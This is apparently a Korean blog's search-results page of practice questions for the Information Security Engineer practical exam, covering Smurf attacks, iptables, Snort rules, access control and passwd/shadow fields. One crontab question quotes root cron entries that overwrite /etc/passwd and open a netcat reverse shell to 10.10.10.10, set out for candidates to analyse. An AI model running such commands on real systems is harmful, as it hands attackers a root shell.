전체 글 검색 결과
477 개의 검색 결과가 있습니다.
보안/정보보안기사

Smurf 정보보안기사 실기 문제모음

7회 11. 스머프(Smurf) 공격은 ICMP 프로토콜의 취약점을 이용한 서비스 거부 공격이다.----------1) 공격 원리를 서술하시오.2) 방화벽 없이 공격을 막을 수 있는 방법을 설명하시오.----------정답확인 : http://q.fran.kr/문제/9760 9회 2. 다음은 스머프(Smurf) 공격에 대한 설명이다. 빈칸을 채우시오.----------ㅇ 여러 호스트에 특정 대상을 출발지로 ( A ) 를 보내 하여 서비스거부(DoS)를 유발시키는 보안공격ㅇ 소스 주소를 공격 대상 호스트로 위조한 ICMP 패킷을 브로드캐스트하면 근처의 호스트가 다량의 ( B )를 발생시킨다.----------정답확인 : http://q.fran.kr/문제/9719 10회15. 다음 패킷 덤프 결과를 보고 ..

2020. 7. 10. 09:02
카테고리 없음

법률,위험분석 정보보안기사 실기문제모음

3회 4. 다음의 접근통제 정책에 대해 빈칸 (A), (B), (C) 각각에 알맞은 용어를 기술하시오.----------( A ) : 객체의 소유자가 권한을 부여한다. 접근하는 사용자에게 권한을 추가. 삭제 할 수 있다.( B ) : 객체에 대한 접근은 주체의 보안등급에 기반하여 접근을 제한한다.( C ) : 주체에게 할당된 역할에 기반하여 객체에 접근을 제한한다.----------정답확인 : http://q.fran.kr/문제/9822 3회 6. 다음 보기에서 설명하는 용어는 무엇인가?----------정보보호의 목적인 정보자산의 기밀성, 무결성, 가용성을 실현하기 위한 절차와 과정을 체계적으로 수립, 문서화 하고 지속적으로 관리 운영하는 시스템----------정답확인 : http://q.fran.k..

2020. 7. 10. 09:02
보안/정보보안기사

iptable 정보보안기사 실기 문제모음

10회 13. iptables에서 -j옵션중에 DROP과 REJECT가 있다. 관련하여 아래 질문에 답하시오.----------(1) DROP의 동작 방식(2) REJECT의 동작 방식(3) 보안적 관점에서 둘 중에 어느 것이 유리한가? 이유는?----------정답확인 : http://q.fran.kr/문제/9714

2020. 7. 10. 08:59
보안/정보보안기사

crontab 정보보안기사 실기 문제모음

7회 14. 웹서버를 점검하던 중 cron에 새로운 작업이 등록된 것을 확인하였다. 다음 cron 작업들이 root권한으로 실행될 경우 발생할 수 있는 위험에 대해 설명하시오.----------0 0 6 * * root /bin/cp /tmp/passwd1 /etc/passwd0 0 12 * * root /usr/bin/nc 10.10.10.10 80 -e /bin/bash----------정답확인 : http://q.fran.kr/문제/9763 8회 15. crontab은 리눅스에서 정해진 시간에 작업이 실행되도록 스케줄링하는 유틸리티 프로그램이다. crontab에 대한 아래 질문에 답하시오.----------1) 현재 스케줄링 되어있는 작업되어 있는 내용을 보는 명령어는?2) SIS 계정의 cront..

2020. 7. 10. 08:54
보안/정보보안기사

Snort 정보보안기사 실기문제모음

3회 5. “/administrator” 라는 문자열이 포함되어 있는 경우 “Web Scan Detected”란 메시지 로깅을 위한 Snort rule은 각각 무엇인가?----------Alert tcp any any -> 192.168.0.1 ( A ) ( ( B ) : “/administrator; ( C ): “Web Scan Detected”;)----------정답확인: http://q.fran.kr/문제/9823/ 4회 14. 다음 보기를 보고 문제점과 해결방안을 제시하시오.----------tcp any any -> any any PCRE(/^POST.*Content\x2dLength\x2a\x20evilstring) 1) 해당 Rule은 어떤 문제점을 가지고 있는가?2) 해결방안은 무엇인가..

2020. 7. 10. 08:53
보안/정보보안기사

/etc/passwd /etc/shadow 필드

/etc/passwd 사용자들의 기본적인 정보가 저장되어 있는 파일 총 7개의 필드로 이루어져 있다. root : x : 0 : 0 : root : /root : /bin/bash ① ② ③ ④ ⑤ ⑥ ⑦ ① root : 사용자명(ID)② x : 패스워드. x로 되어 있는건 /etc/shadow파일에 암호화하여 저장되어 있다는 뜻이다.③ 0 : 사용자 계정 uid④ 0 : 사용자 계정 gid⑤ root : 사용자 계정 이름(정보)⑥ /root : 사용자 계정 홈 디렉토리⑦ /bin/bash : 사용자 계정 로그인 쉘 /etc/shadow itwiki : $6$7sqr8$b6...Qk0t/ : 17132 : 0 : 99999 : 7 : : : ① ② ③ ④ ⑤ ⑥ ⑦⑧⑨ 총 9개의 필드로 이루어져 있다.①..

2020. 7. 5. 22:41